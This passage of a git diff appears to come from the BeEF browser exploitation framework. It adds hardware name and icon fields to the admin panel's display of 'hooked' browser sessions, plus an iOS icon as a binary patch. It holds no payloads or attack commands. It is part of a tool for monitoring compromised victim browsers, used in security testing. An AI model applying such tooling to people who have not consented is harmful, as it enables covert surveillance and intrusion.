'Hardware' => encoded_hw_name } + + page_name_row = { + 'category' => 'Host', + 'data' => encoded_hw_name_hash, + 'from' => 'Initialization' + } + + summary_grid_hash['results'].push(page_name_row) # add the row + end # set and add the return values for the browser name browser_name = BD.get(zombie_session, 'BrowserName') diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb index c67ec41f7..56b6a708c 100644 --- a/extensions/admin_ui/controllers/panel/panel.rb +++ b/extensions/admin_ui/controllers/panel/panel.rb @@ -90,10 +90,12 @@ class Panel < BeEF::Extension::AdminUI::HttpController browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session) os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session) os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName') + hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session) + hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware') domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName') has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash') has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket') - date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp') + date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp') return { 'session' => hooked_browser.session, @@ -105,6 +107,8 @@ class Panel < BeEF::Extension::AdminUI::HttpController 'browser_icon' => browser_icon, 'os_icon' => os_icon, 'os_name' => os_name, + 'hw_icon' => hw_icon, + 'hw_name' => hw_name, 'has_flash' => has_flash, 'has_web_sockets' => has_web_sockets, 'date_stamp' => date_stamp diff --git a/extensions/admin_ui/media/images/icons/ios.png b/extensions/admin_ui/media/images/icons/ios.png new file mode 100644 index 0000000000000000000000000000000000000000..de94a27ce9682ce1ce4d2c84248b879043ffdb9c GIT binary patch literal 38666 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¨_I7(a}HJ^_A2`jm;b!?oaGrHY+LO?Ff#wYyTIa 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 